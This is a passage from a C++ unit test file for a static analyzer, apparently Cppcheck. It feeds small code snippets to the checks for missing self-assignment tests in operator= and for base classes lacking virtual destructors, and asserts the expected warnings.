\"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n 